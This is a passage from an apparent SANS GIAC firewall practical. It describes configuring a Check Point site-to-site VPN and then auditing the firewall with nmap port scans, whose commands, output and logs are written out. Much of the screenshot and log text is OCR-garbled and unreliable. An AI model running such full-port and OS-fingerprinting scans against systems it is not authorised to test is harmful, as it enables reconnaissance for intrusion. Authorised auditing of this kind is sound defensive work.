satellite gateways, which may include mail, telephone or face-to-face
negotiation
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» High number of shared keys causes key management to become a
headache, because there must be a different key pair for each two
participating gateways

GIAC decided to implement it for two main reasons:

» Faster encryption performance
» Only three participating gateways to deal with the shared key
(GIAC-Toronto, GIAC-Basel and GIAC-Frankfurt)

Decision for choosing 3DES as an encryption algorithm was made because of
the following:

Easy to implement compared to other algorithms

It is based on long trusted DES algorithm (with triple the key length)
Speed (3DES is much faster then public key algorithms)

AES (Advanced Encryption Standard) has been chosen as DES
replacement, but it is not as widely used as DES at his point of time

VVVY

Table 2.0

== Securityl =9 Address Translationl i smartDefense & ver Manager £ Desktop Security

T
ISt

@

e
o TS

Remaotefccess

I3
giac-basel

~

giac-toronto

Iz

giac-frankfurt
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Table 2.1

N%e:
£/
[ | [ |

i »

2 o 2
remote—— ac-toronto remote
-users g -|IT-admins
< e
Table 2.2

Meshed Commmunity Properties - MyIntranet

Excluded Services
PM Properties
-Advanced Properties
. Shared Secret

© SANS Institute 2004,

m General

i Participating & ateways

M arne; IMyIntranet

Comment: I

Caolor;
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Table 2.3
Meshed Community Properties - MyIntranet

Participating G ateways

- General

Participating G atewayz
i Ercluded Services
WP FProperties

i Advanced Propertiss Participant G ateways:

" Ghared Secret

E giac-hasel -
E gimc-frankfurt B
E giac-taranta

All the connections between the WPHN Domaing of the Gateways
belowy will be encrypted.

Add. . Edit... Remove

Table 2.4

Meshed Community Properties - MyIntranek '

Shared Secret

General

Participating Gateways

i Excluded Services

i ¥ Usze only Shared Secret for all Extemnal members
;----VF‘N Properties

i dP ti ; :

i vanu: = u:uper = Each External member will have the fallowing

g - hared Secret zecret with all internal members in this community.

Peer Hame | Shared Secret |

R

diac-bazel
giac-frankfurt

ERTT

Edit... | Remove |
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Table 2.5
[Meshed Community Properties - MyIntranet x|

. General YPH Properties

i Participating G ateways

Excluded Services ILE [Phaze 1] Properties
Pr Properties

Advanced Properties

o Shared Secrst

Perform key exchange enciyption with: |3DES

Perform data integrity with: IMD5 LI

IPzec [Phasze 2] Properties

Perform IFsec data encreption with: I."-‘-ES-'I 28 LI

Ferform data integrity with: IMD5 LI

Ok I Cancel I Help

2.2.5 Desktop Security Policy
Table 2.6

Inbound Rules

| (®) Block ‘

Qutbound Rules

COMBERT

,17‘! Al Uzers@hiny

‘*Any

‘Log

COMMENT
&% 8l Usersg@any * Any MET (®) Block - Mone
L]
5 remote-users@EAC-Telecommute . .
~ Ak gisc-certral-int | % Any Encrypt Log
' ,;T-\ remote-IT-adminsEs| A C-Metwork e
,17‘! remote-IT-admins@GIAC-Network | b giac-central-Dh Metneork-Ldmir e Encrypt Log
H ,1%\ All Users@@iny * Any % Any @ Block Log

Desktop Security allowed GIAC IT staff to create rule base which will be pushed
over to participating clients by Checkpoint policy server, when they will attempt to
login. Based on Table 2.5, below are descriptions of these rules:
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Inbound Rules

Rule 1
All access to defined users desktops is blocked and logged
This prevent any malicious connectivity attempt while using VPN tunnel

Outbound Rules

Rule 2

Block and don’t log any NETBIOS traffic from remote users

Rule 3

Allow telecommuters and IT administrator’s encrypted access to GIAC internal
network with logging enabled

Rule 4

Allow IT administrators to do encrypted remote admin of DMZ network with
logging enabled

Rule 5

Block everything else and log. Split tunneling prevention rule

Note 9: Firewall rules are being read top down, exact same way as Cisco
ACL’s, so it’s fairly important to place rules receiving most traffic further
up, thus preserving the unnecessary processing from occurring.

2.3 Detailed VPN setup tutorial

This tutorial will consist of step-by-step configuration of Checkpoint simplified
VPN site-to-site implementation, which GIAC IT department executed to connect
three satellite offices together. It is based on IKE encryption configuration and
since GIAC configured all three-satellite office sites, it was acceptable to use a
shared key to configure an IKE VPN.

GIAC site-to-site simplified VPN setup:

» Specify encryption domain for the enforcement module

» Click Manage > Network Objects from Smart Dashboard toolbar. Select
GIAC-Toronto object from the list:

» Click the Edit button to open detailed gateway information
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Table 2.7

Network Objects x|

— Metwork, objects:

Show: I.-'—‘*.II

j More =

P> Internaliet
% LocalMaching
tAIL-Server

Mew... | Hemnvel

Al

=
=l

Ed.. |

Cloge I Actions... |

Help |

» Make sure VPN-1 Pro box is checked before continuing
» Select the Topology option from General properties list

Table 2.8

Check Point Gateway - giac-toronto )

- General Properties

- Topology

- MAT

- WP

#- Remote Access

- Extranet

- Authentication

#- Logsz and Masters

- Capacity Optimization
#- Advanced

Check Point Gateway - General Properties

Mame:

IP Address: |192.168.30.254

Get addressl I Dynamic Address

Comment: |

Coor | I - |

Check Foint Products

FetWersion |

“ersian: INL': with Applcation Inteligence :I

[ Firetsfall-1

[w"FMN-1 Pro

[ IWPMN-1 Met

[ |FloodG ate-1

[w]SecureClient Policy Server

1S ecureClient Software Distribution Server

Additional Products:
I~ wieh Server

Secure Intemal Communication

Ic:n=cp_mgmt,o=giac-toronto..ophtpn

Commuricatian... | [H:

Ok I Cancel

Help
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» Under VPN Domain portion, check the Manually defined button and select
GIAC-central-internal predefined network from the drop down list, then
select the VPN portion from General Properties tab

Table 2.9
x
- [Feneral Properties Topology
8- VPN Mame I IF Addrezs I Metvork. b azk I IF Addreszes behind interface
#- Remote Access :
£ ethil 192168.30.254  255.255.255.0 Thiz Metwork:
= pAuanel; ethl  192168.60.14  256.255.255.240  This Network
- Authentication eh?  192168.902 755.255.255.240 | External
[#- Logs and Masters
- Capacity Optimization
H- Advanced
1] |
Add. | Edt. | Remove Show |

Show all |Pz behind Gateway |

WPM Ciomain
" AllP Addreszes behind Gateway based on Topology informiation,

" Manualy defined |J-r|- giac-central-internal j Mew... |

Shaw VPN Domain |

] 4 I Cancel Help
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» Click on Add button for “This module participates in the following VPN
communities” field.

Table 3.0
x|

- Feneral Properties ¥PHN

- Topalagy Thiz module participates in the following WP Communities:
e WAT

|

- Remote Access
- Extranet

- Authentication

t- Logs and basters
- Capacity Optirmization Add... I Hemove I

FH- Advanced

-1
F s s

(|
=

Traditional mode configuration. .. |

Certificate List

Micknarme | DM | Certificate Authority |
defaultCert CH=giac-toronta WPM Certifi... | internal_ca
4 | | 2

Add. . Edit... | Remove |

Ok I Cancel I Help I

» Select Myintranet from the menu and click ok, which will return to the VPN
page of the gateway screen.

Table 3.1 _
<

ok
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» Click on ok button to return to Network object screen. One thing to
remember is that if VPN-1 Pro option in gateway properties was not
activated during the initial setup of the firewall, an internal certificate is
going to be created at this point of time.

Table 3.2

Check Point Gateway - giac-toronto i ﬂ

- General Properties ¥PN

- Topology Thiz module participates in the following YPH Communities:
o MAT

PR

- Aemate Access
- Entranet

- Authentication

[+ Logs and Masters
- Capacity Optimization Add... | Hemave I

[ Advanced

hyirtranet

B |
i |

Traditional mode configuration. . |

Certificate List
Mickname | B | Certifizate Authority |
defaultCert  CM=giac-toronto %¥FM Certifi... | internal_ca
4| | i

Add... Edit... | Remove |

(] Cancel Help

Next step is to specify VPN gateways for the Satellite offices in Frankfurt and
Bern. Again, network objects for these gateways had been already predefined
during initial firewall setup. | will show the setup steps for one of the remote
satellites — GIAC-Basel. Setup steps for GIAC-Frankfurt would be identical.
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© SANS Institute 2004,

» Select GIAC-Basel from Network objects drop down list and click on Edit

button

Table 3.3

Metwork Objects

x|

— Metwork objects:
Sk I',-j,'" j Maore =
[ ] External-NTP-zerver? ;I
] External-Supp-webhserverl
1 External-zupp-webserver2 =
[ FileServer-Internal
‘ i oo
gigc-central-DML LI
MHew... | Femove | Edi... |

| Cloze I Actions... | Help |

Externally managed gateway table shows up:

Table 3.4
Externally Managed Check Point Gateway - giac-basel
- General Properties E xternally Managed Check Point Gateway - General Properties
- Topology
e MAT M ame:
= VPN
IP Addiess: |172.30.0.126 Get addressl
Comment: I
Coor: [ - |

Check FPaoint Products

Wersion: ING with Application Inteligence vI

HetWersioh |

W] Firetas all-1
[w]"FM-1 Pro
CWPM-1T Met
[ |FloodG ate-1

1S ecursClient Policy Server
[ 1SecureClient Software Distribution Server

Additional Products:
™ web Server

Ok I Cancel

Help
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» Confirm that VPN-1 pro box is checked and select the topology from the
properties list. Make sure topology is defined, then check Manually
defined radio button under VPN Domain portion and select predefined
network for Basel satellite office network-Basel.

Table 3.5

Externally Managed Check Point Gateway - giac-basel ) ﬂ
- General Properties Topology
L MAT Get...
- WPN

I ame | IF Address | M etwiork b ask | |F Addreszes behind interface

external 192.168.70.2 2585.256.255.248  Undefined
internal | 172.30.0.126 255.256.255.128  Undefined

4| | H

add.. | Edi. |  Remove Show |

Shiow alllEz behind Gateway |

YPM Domain

i~ AllIP Addresses behind Gateway based on Topology infarmatian,

%" Manually defined |J.|.L afes sl j Mew... |

Show VPN Domain |

0k I Cancel Help
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» Click on VPN object from Global Properties list and click the Add button
under “This module participates in the following VPN communities” and
select Myintranet from the drop down menu, then click ok button to go
back to VPN page of GIAC-Basel gateway.

Table 3.6
Externally Managed Check Point Gateway - giac-basel ﬂ
General Properties Y¥PN
Topology Thiz module participates in the following %¥PH Communities:
- HAT
- hebyInitranet

b atching Criteria. . |

Add... Femave |

Traditional mode configuration. .. |

0k I Cancel Help

» Click ok button to return to Network objects screen
» Again, repeat the same steps for GIAC-Frankfurt Satellite gateway
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Next step is to configure Myintranet VPN Communities:

» Click Manage > VPN Communities from the SmartDashboard toolbar
» and select MylIntranet from the menu and click the Edit button to display

Meshed Community Properties screen

Table 3.7

{ ¥PN Communities ﬂ

—%PM Cornmunities:

Show: I-"i"-ll LI

=] Al G ToGw
b | hyExtranet

vand bAviritranet
:Jn_::: Remotestcoess

Mew. . | Femove I Edit. .. |

Cloze I Achions... I Help |

Table 3.8
Meshed Community Properties - MyIntranet ﬂ
: General
i Participating Gateways
- Excluded Services Mame: |Mylntranet
o WPMN Properties
i Advanced Properties Comment: I

i Shared Secret
Calar: I _ vl
Iﬁ%ﬁl

N

Cammunity Traffic Security Policy

I~ Acocept all encrypted traffic.
Mote: The ile applies for all Internally kM anaged community members.

Log Traffic: a2 defined in Global Properties, Loaging Tab:  |Log

ok I Cancel I Help I
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We will leave Accept all encrypted traffic box unchecked, because this would

allow automatic creation of a rule allowing encrypted services not destined for the
members of this VPN community MylIntranet.

> Next select Participating Gateways from the General properties tab and

verify that the only participants of the VPN community are in fact all three
Satellite offices

Table 3.9
Meshed Community Properties - MyIntranet ﬂ
- General Participating Gateways
B Participating Gateways
i Excluded Services All the connectionz between the WP Dlomaing of the Gateways
VPN Properties below will be encrypted.
i Advanced Properties Farticipant & atewans:
i Shared Secret s
E giac-bazel N
@ diac-frankfurt i

m giac-tarorto

Add. | Edt. | Remove |

| 0k, I Canicel | Help |

Make sure there are no services listed under Excluded Service by clicking on it
from General properties tab
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Table 4.0

Meshed Community Properties - MyIntranet

- General
- Participati

Gateways

WPM Properties
-Advanced Properties
- Shared Secret

Excluded Services

T he following services are excluded from the commurnity.
Connections with these services will not be encrppted
and will not match rules specifying the community in the
YPM column.

add.. | Edit.. Femoye

Ok I Cancel I

Help

> Select the Shared Secret from General properties tab and check the box

Use only Shared Secret for all External members

Table 4.1

Meshed Community Properties - MyIntranekt B

General

Excluded Services
-WPM Properties

Farticipating G ateways

Shared Secret

I Use only Shared Secret for all External members

E ach Exteral member will hawe the following
gecret with: all internal members in this community.

Feer Mame | Shared Secret I
giac-baszel e
giac-frankfurt FERE

Edit.... I Femove I

Ok I Cancel I

Help
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» Select GIAC-Basel from Peer Name list, click the Edit button and type in
previously agreed upon shared secret. Repeat the same process for
GIAC-Frankfurt gateway. Click OK button to close Meshed Community
properties screen, then click the close button to return to SmartDashboard

Once we have our VPN Community setup, security rules have to be created into
existing firewall rule set. These rule have been described earlier, so one step
worth mentioning is that once the VPN rule is put in the rule set, right click on
VPN column of that rule and choosing Edit cell option, will open the following
table

Table 4.2

¥PN Match Conditions 5 x|

tatch conditions

E ™ Any connections, whether Clear or Encrypted
" Only connections encrypted in any Site-to-Site YPH Community

'..’!'Q' ¥ [Only connections enciypted in specific WPM Communities

hyintranet

Add... | Remove |

For a typical example of usage of the ¥PH column, pleaze see Help,

[k I Cancel | Help I

“Only connections encrypted in specific VPN Communities” radio button should
be selected

Click OK to add Myintranet to VPN column of the VPN rule

Once that’s done click the View from SmartDashboard toolbar and check on VPN
Rules to be able to see the automatically added implied VPN Community rule on
top of the firewall policy rule set

» Last step is to verify and install the firewall policy on GIAC-Toronto

Note 10: All the above steps must be completed on Satellite office
gateway(s) to be able to verify the operation of the GIAC VPN community
Myintranet.
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Assignment 3
Firewall Policy Verification

3.1 Audit planning

GIAC management and technical staff hired a third-party Consulting firm to
perform the audit. Non-disclosure legal agreement had been signed for additional
security. GIAC arranged a Monday meeting prior to the audit to present written
firewall policy to the testers, and further familiarize them with the specifics of its
network infrastructure. After careful consideration of the possible methods to do
the audit, consulting firm suggested the following:

» All audit tests will be performed on upcoming Friday and Saturday
night shifts, which run from 11:00PM EST till 7:00AM EST.

» There will be one GIAC administrator present to assist in the audit.

» Two test computers will be used: one as a scanning source, and
the other as a port simulator. Both of them will be preloaded with
nmap, netcat and windump utilities for Windows NT.

» These two test computers will be on rotation to accommodate all
the scans required, and will be connected directly via crossover
cable to each one of the three firewall interfaces (external, internal
and DMZ) for firewall audit.

» Following IP addresses will be used for GIAC scans:
192.169.90.1 for external scan
192.168.30.2, 192.168.30.30 and 192.168.30.13 for internal scan
192.168.90.3 — 192.168.90.6 range for DMZ scan

» In addition all tests will utilize Linux tcpdump that Checkpoint NGAI
runs on, as well as firewall logs via SmartviewTracker.

» Tests performed against the firewall will be of “port-scanning” type
to minimize the risks involved with overloading and/or bringing the
firewall down.

» After all the tests have been completed, GIAC will receive detailed
audit report from the consulting firm for future reference.

GIAC IT department validated this proposal, presented it to the management,
requesting written permission to perform the audit. After reviewing the audit
proposal, GIAC management expressed its concern about downtime due to the
audit, and asked for three IT administrators to be present instead of one, in case
of any problems that may arise. IT department consulted its staff and the third
party about the request, and two additional administrators agreed to be present
for the audit. With this issue out of the way, written permission was granted,
together with the approval of an extra hourly pay of $60 CAD for the GIAC IT
administrators involved. An hour after the Monday’s meeting, GIAC sent email
notifications to its existing clientele, satellite offices and suppliers informing them
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about the intermittent network outages during the upcoming weekend and
updated its website home page with the same notification.

3.1.1 Risks and mitigations

Port scans against the GIAC firewall may cause it to hang (stop responding) or
even crash, which will require investigation effort from GIAC’s IT administrators
including reboots, system log checking to be able determine the cause of the
problem. To mitigate this, GIAC IT staff made sure that all systems involved in
the audit are up to date and properly patched for any software and hardware
issues to minimize these risks.

GIAC IT department also agreed to notify its ISP about the weekend outages to
keep them informed.

3.1.2 Cost and effort

Consulting firm - $5000 CAD (includes preparation, hardware setup, actual audit
and detailed audit report)

GIAC IT Administrators (48 man hours x $60 CAD) - $2880

Lost revenue due to downtime — $10.000CAD (an estimate)

3.2 Audit execution

» Test the firewall against any open ports on the firewall from public,
DMZ and internal networks

» Test the firewall implemented policy by scanning from public IP
address to specific DMZ network servers

» Test the firewall implemented policy by scanning from DMZ network
to public IP address

» Test the firewall implemented policy by scanning from DMZ network
to internal IP addresses

» Test the firewall implemented policy by scanning from internal
network to DMZ network servers

» Test the firewall implemented policy by scanning from internal
network to public IP address

» Test the firewall for NAT translation implementation

» Test the firewall implemented policy for GIAC internal network
leakage
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3.2.1 Test the firewall against any open ports
3.2.1.1 TCP Scan of the firewall from public address

» Scan diagram

192.168.90.1 f

crossover cable

192.168.90.2

Giac Firewall

» Nmap command used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 9 —p1-65535 —n 192.168.90.2

where:

v — verbose option to show more information while executing the
command

sS — SYN Stealth type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution

» Notes on specific nmap option used:
http://www.insecure.org/nmap/data/nmap manpage.html

max_rtt_timeout <milliseconds> — Specifies the maximum amount of time Nmap
is allowed to wait for a probe response before retransmitting or timing out that
particular probe. The default mode sets this to about 9000.

This option was used to speed up the scanning process, having the scanning
host directly connected to the firewall and rtt value’s consistent showing of 0 ms.
Below is the output of this scan:
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Table 4.3

C:~Program Fileswnmap3.5@8Xnmap —v —s85 —sR -0 -PA ——nax_rtt_timeout 7 —pl-65535 -
n 192.168.98.2

WARNIMG: You specified a round—trip time timeout (2 ms)> that is EXTRAORDIMARILY
SHALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:/ A wuwu.insecure. nrg/nmap ) at 26084-03-84 22:684 HST

Hozt 192.168.98.2 appears to he up ... good.

Initiating S5YM Stealth Scan against 192.168.98.2 at 22:84

Adding open port 18264-tcp

Adding open port Z264/tcp

Adding open port 18231-tcp

The S5Y¥YN Stealth Scan took 87 seconds to scan 65535 ports.

Initiating RPCGrind Scan against 192.168.98.2 at 22:85

The RPCGrind Scan took B seconds to scan 3 ports.

For 055can assuming that port 264 iz open and port 58 iz closed and neither are
firewalled

Inzsufficient rezponzes for TCP sequencing (@), 08 detection may be less accurate

For 085can assuming that port 264 is open and port 580 iz closed and neither are
firewalled
Inzufficient responses for TCP sequencing (B>, 0f detection may be lessz accurate

For 085can assuming that port 264 is open and port 588 iz closed and neither are
firewalled

Insufficient responses for TCP sequencing (B>, OS5 detection may be lesz accurate

Intereszting ports on 192.168.90.2:
¢The 65531 ports scanned but not shown below are in state: filtered>
STATE SERUVICE UERSION
open hgmp
closed isakmp
18231/tcp open unknown
18264-tcp open unknoun
Too many fingerprints match this host to give specific 05 details
TCPAIP fingerprint:
gizﬂu(u=ﬁ55ExP=iﬁBE—pc—winduws—winduwsZD=3/4ZTime=4B4BEHHZZO=264ZC=EBE)
esp=

Mmap run completed — 1 IP address €1 host up? scanned in ?8.122 seconds

As we can see from the output of this scan, 4 TCP ports were discovered by
nmap:

» Port 264 — being used for Checkpoint VPN-1 SecuRemote topology
downloads

» Port 500 (isakmp) — being used by Checkpoint VPN-1 implementation

» Port 18231 — being used by FW1_pslogon_NG Protocol. Used for
download of Desktop Security

» Port 18264 — being used by FW1_ica_services for Certificate Revocation
Lists and registering users when using the Policy Server.
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These ports are needed by Checkpoint firewall and are implemented via global
security policy implied rules. No other TCP ports were discovered during this
scan, which is in compliance with GIAC firewall security policy. One more thing
worth mentioning is the nmap inability to fingerprint the operating system type,
which of course is always a good thing.

Below is the firewall log output of the SmartviewTracker:

Table 4.4

| T Date | T Time | Yl Yl T Origin | Yl ‘r| Yl T Service T Source | T Destination | T Rule | TS, .. | T Information
Sharz004 mozi45 B B giac-toronto @E FiW'1_topo Cisco-Router-Internal - giac-toronko 1] 1776 message_info: Implied rule

Sharz004 0:02:45 [= gac-toronta @E Fl_pslogon_MNG  Cisco-Router-Internal  giac-toronto 1] 1777 message_info: Implied rule
Sharz004 0:02:45 [= gac-toronta ICP  Pwl_ica_services Cisco-Router-Internal  giac-toronko 1] 1778 message_info: Implied rule
Sharz004 0:04:08 [= gac-toronta @ ICR  IKE tep Cisco-Router-Internal - giac-toronko 1] 34171 message_info: Implied rule
Sharz004 0:04:20 [= gac-toronta @ ICP  Pwl_ica_services Cisco-Router-Internal  giac-toronko 1] 34171 message_info: Implied rule
SMar2004 0:04:26 [= giac-toronko @ I Pwl_topo Cisco-Router-Internal — giac-toronto a 34171 message_info: Implied rule
Sharz004 0:04:41 [= gac-toronta @E Fl_pslogon_MNG  Cisco-Router-Internal  giac-toronto 1] 34171 message_info: Implied rule
Sharz004 0:05:33 [= gac-toronta @ IEE  Fwl_topo Cisco-Router-Internal - giac-toronko 1] 1779 message_info: Implied rule
SMarz004 00533 [= giac-toronto @m FWwi_pslogon_NG  Cisco-Router-Internal  giac-toronto a 1780 message_info: Implied rule
Sharz004 0:05:33 [= gac-toronta @ ICP  Pwl_ica_services Cisco-Router-Internal  giac-toronko 1] 1781 message_info: Implied rule |
and sample of other tcp traffic being dropped by the firewall:

Table 4.5

T Mo | T Date | T Time | ?| Y| T Origin | Y| ‘I'| ?| T Service T Source | T Destination | T Rule | T Src. ..
530593  SMarz004  0:04,39 [= giactoronto [ @ TP 27376 Cisco-Rouker-Internal —— giac-toronto 5} 34171
530894  SMarz004 0:04:39 [= gactoronte |1 @ TCP 18094 Cisco-Router-Internal giac-toronta ] 34171
530895 SMar2004 00439 [= giac-toronta I @ ICE 12731 Cisco-Router-Internal giac-toronto =] 34171
530896  SMarz2004 0:04:39 [= giac-toronta I @ TCE 1993 Cisco-Router-Internal giac-toronto & 34171
530897  SMarz004 0:04:39 [= giac-toronta |I| @ TCE ooe Cisco-Router-Internal giac-toronta ] 34171
530858  SMar2004 0:04:39 [= giac-toronta |I| @ TCE  zonzz Cisco-Router-Internal giac-toronto 5] 34171
530599  SMarz004 0:04:39 [= giac-toronto I @ TSP 1564 Cisco-Router-Inkernal giac-toronto 5] 34171
530900 SMar2004 0439 [= giac-toranta I @ ICE oceasz Cisco-Raouter-Internal giac-toronto =] 34171
530901  SMarz2004 0:04:39 [= giac-toronta I @ TCE 10243 Cisco-Router-Internal giac-toronto & 34171
530902  SMarz004 0:04:39 [= giac-toronta I @ TCP 52789 Cisco-Router-Internal giac-toronta ] 34171
530903  SMarz2004 0439 [= giac-toranta I @ ICE  zs030 Cisco-Raouter-Internal giac-toronto =] 34171
530904  SMarz004 0:04:39 [= giac-toronta I @ TCE 54201 Cisco-Router-Internal giac-toronto & 34171
530905  SMarz004 0:04:39 [= giac-toronta |I| @ TCP  aos03 Cisco-Router-Internal giac-toronta ] 34171
530906  SMarz004 0:04:39 B = giac-toronto |T| @ ICE 27094 Cisco-Router-Internal  giac-toronto [} 34171

3.2.1.2 UDP Scan of the firewall from public address

» Scan diagram

102.168.00.1

crossowver cable

192.168.00.2

Giac Firewall
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» Important thing to mention here is that three GIAC firewall policy rules
dropping traffic (NetBIOS, firewall stealth and cleanup) had to be
temporarily changed to REJECT instead of DROP mode. This was
required for udp scans, otherwise ALL scanned udp ports would show as
opened when using nmap.

» Nmap command used to perform scan:

nmap —v —sU —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —
n192.168.90.2

where:

v — verbose option to show more information while executing the
command

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution

Below is the output of this scan:

Table 4.6

C:“Program Files~nmap3.58nmap —v —sll —=sR -PA ——max_rtt_timeout 18 -pl-65535 —n

192.168.98.2
HEENING: You specified a round—trip time timeout 1@ ms> that is EXTRAORDINARILY
ALL. Accuracy may suffer.

Starting nmap 3.5 ¢ http:/vuw.insecure.orgsnmap » at 2004-03-84 22:19 MST
Host 122_.168.98.2 appears to he up ... good.

Initiating UDP Scan against 122.168.98.2 at 22:179

The UDP Scan took 25 seconds to scan 65535 ports.

Adding open port 2746/udp

Adding open port 5AB-udp

Initiating RPCGrind Scan against 192.168.98.2 at 22:28

The RPCGrind Scan took B seconds to scan 2 ports.

Interesting ports on 192.168.98.2:

{The 65533 ports scanned hut not shown bhelow are in state: closzed?
FORT STATE SERUVICE UERSION

50 udp open isakmp

2746 udp open unknown

Mmap run completed — 1 IP address ¢1 host up? scanned in 25.156 seconds

As we can see from the output of this scan, 2 UDP ports were discovered by
nmap:

» Port 500 — being used by Check Point VPN-1 isakmp
» Port 2746 — being used by Check Point VPN-1 SecuRemote IPSEC
Transport Encapsulation Protocol

Again, both of these ports are needed for GIAC VPN implementation.
Nmap udp scan proved to be in compliance with GIAC security policy.
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Below is the sample of other udp traffic being rejected by the firewall:

Table 4.7

T No. | T Date | T Time | ?| ?| T Origin | Y| ?| ?| T Service | T Source | T Destination | T Rule | =T
526761 SMarz2004 0:19:49 = gac-toronto [ ° MOR 17275 Cisco-Router-Inkernal giac-karonko ] 57265
526762 SMar2004 0:19:49 [= giac-toronto L ¢ UOE 41949 Cisco-Router-Inkernal giac-karanka ] 57268
S26763  BMarz0o4 01949 [= giac-taronta I c HOE - 41653 Cisco-Router-Internal giac-karankto B L7265
S26764  SMarz2004 0:19:49 [= giac-toronto |I| ° OB 43305 Cisco-Router-Internal qgiac-taronko & 57265
526765 SMar2004 0:19:49 [= giac-toronto I ° HOP 24Em Cisco-Router-Inkernal giac-koronko ] 57268
526766 SMar2004 01949 [ giac-toronto I ° UOR - g1m12 Cisco-Router-Inkernal giac-karanka ] 7268
SZETET  SMarz0o4 01949 [= giac-toronto I Q WE 4177 Cisco-Router-Internal giac-tarankto B S726EE
5267658 SMarz2004 0:19:49 [= giac-toranto |I| ° MOR 135249 Cisco-Router-Inkernal giac-koronko & 57265
526769 SMar2004 0:19:49 [ giac-toronto |I| ° UOR - 45949 Cisco-Router-Internal giac-karonko ] 57268
S2EFF0 BMarz0o4 01949 [= giac-taronta |I| c HOR 43655 Cisco-Router-Internal giac-karankto B L7265
S26771  SMarz2004 0:19:49 [= giac-toronto |I| ° OB 44225 Cisco-Router-Internal qgiac-taronko & 57265
526772 SMar2004 0:19:49 [= giac-toronto |I| ° HOR 47057 Cisco-Router-Inkernal giac-koronko ] 57268
526773 SMar2004 01949 [ giac-toronto m ° WO 36232 Cisco-Router-Inkernal giac-karanka ] 7268
S26774 SMarz0o4 01949 [= giac-toronto |I| Q WE 4zz05 Cisco-Router-Internal giac-tarankto B S726EE
526775 SMarz2004 0:19:49 [= giac-toranto |I| ° MOR 2e365 Cisco-Router-Inkernal giac-koronko & 57265
526776 SMar2004 0:19:49 [ giac-toronto |I| ° UoR - 29ips Cisco-Router-Internal giac-karonko ] 57268
826777 BMarz004 0:19:49 [= giac-toronta |I| c OB 53203 Cisco-Router-Internal giac-karanko b L7268
826778 EMarz2004 0:19:49 [= giac-toronto E 9 e 7zig Cisco-Router-Internal qgiac-karonko & E7268

3.2.1.3 Ping test against the firewall from public address

» Scan diagram

192.168.90.1

=
=
(]
L
a5
w

192.168.90.2

Giac Firewall

crossover cable

» Ping command used:
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Table 4.8
C:“Program Files~nmap3.5%@*ping 172.168_.970_.2

Pinging

Request timed
Request timed
Request timed
Request timed

Ping statistics for 192.168.99.2:
Packets:
Approximate round trip times in milli-—seconds:

Minimum = @ms.

Sent

out .
out .
out .
out .

= 4, Received = B, Lost
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This test proved that ICMP ping command to GIAC firewall is not allowed and
this type of traffic is being dropped. Again, this proved to be in accordance with
the security policy.

3.2.1.4 TCP Scan of the firewall from DMZ address

» Scan diagram

192 168.60.14

Giac Firewall

Eth i & bl oy
192.168.60.12

BIED JBADFFOID

» Nmap command used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.60.14

where:

v — verbose option to show more information

sS — SYN Stealth type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution

Below is the output of this scan:

Table 4.9

C:=~Program Files“nmap3d.5@>>nmap —v —s8 —sR —PB ——max_rtt_timeout 18 —pl1-65535 —n

192 _168.60_.14

WARNING: You szpecified a round—trip time timeout (18 ms> that is ESTRAORDIMARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http: swww.insecure. ulg/nmap 2 at 2084-A3-684 22:58 MST
Host 192.168.68A.14 appears to be up . od.

Initiating 8Y¥YMN Stealth 8can against 192 168 6B.14 at 22:58

Adding open port 18264-tcp

Adding open port 18231-tcp

Adding open port 264-tcp

The S3YMN Stealth Scan took 173 seconds to scan 65535 ports.
Initiating RPCGrind Scan against 192.168.68.14 at 22:53

The RPCGrind Scan took B seconds to scan 3 ports.

Interesting ports on 122_.168_660_.14:

¢The 65531 ports scanned but not shown below are in state: Filtered>
PORT SERUVICE UERSION

26b4-tcp bhogmp

SEB- tcp izakmp

18231tcp open unknouwn

18264-tcp open unknouwn

Mmap run completed — 1 IP address <1 host up? scanned in 174.271 seconds
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As we can see from the output of this scan, 4 TCP ports were discovered by

nmap:

>

Port 264 — being used for Checkpoint VPN-1 SecuRemote topology
downloads
Port 500 (isakmp) — being used by Checkpoint VPN-1 implementation
Port 18231 — being used by FW1 _pslogon_ NG Protocol. Used for

download of Desktop Security
Port 18264 — being used by FW1_ica_services for Certificate Revocation
Lists and registering users when using the Policy Server.

Again, these ports are needed by Checkpoint firewall and are implemented via
global security policy implied rules. No other TCP ports were discovered during

this scan, which is in compliance with GIAC firewall security policy.

Below, we can observe the Smartview Tracker firewall logs in regards to this type

T Source

T DestinationlY Rule |Y SKCL |Y Information

T Date | 7 Tme | V| V| T orign |

of traffic:

Table 5.0
SMarz004 5059
SMarz004 me1:1z
SMarz004 ms1:37
SMarz004 mE51:39
SMarz004 mE53:30
SMarz004 0:53:30
SMarz004 mE53:30

i [ [l [ [l o] (0

giac-karonko
giac-toronto
giac-karonko
giac-karonko
giac-karonko
giac-toronto
giac-karonko

T 7| T[T Service |
@ Iee FW1_jca_services
@I ke bep

€D I Fwi_pslogon_NG
@ T8 Pwi_topo

@ T8 Pwi_topo

€D I8 Fwl_pslogon_NG
@ Iee FW1_jca_services

and drops of the other tcp traffic:

dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan

giac-karonko
giac-toronto
giac-karonko
giac-karonko
giac-karonko
giac-koronto
giac-karonko

i}

oo o ooo

61524
61524
61524
61524
1791
179z
1793

message_info: Implied rule
message_info: Implied rule
message_info: Implied rule
message_info: Implied rule
message_info: Implied rule
message_info: Implied rule
message_info: Implied rule

| T Drigin

Y| T Service | T Source

T Destination| T Rule |Y SIC, L.

Table 5.1

T Mo, | T Date |V Tme | V| T
1027799 SMarzond 514 BE [=
1027600 SMar2004  0:51:14 : =
1027601 SMar2004  0:51:14 2 [=
1027602 SMar2004  0:51:14 : =
1027603 SMar2004  0:51:14 : [=
1027604 SMar2004  0:51:14 : =
1027605 SMar2004  0:51:14 : [=
1027806 SMarzO04  0:51:14 : [=
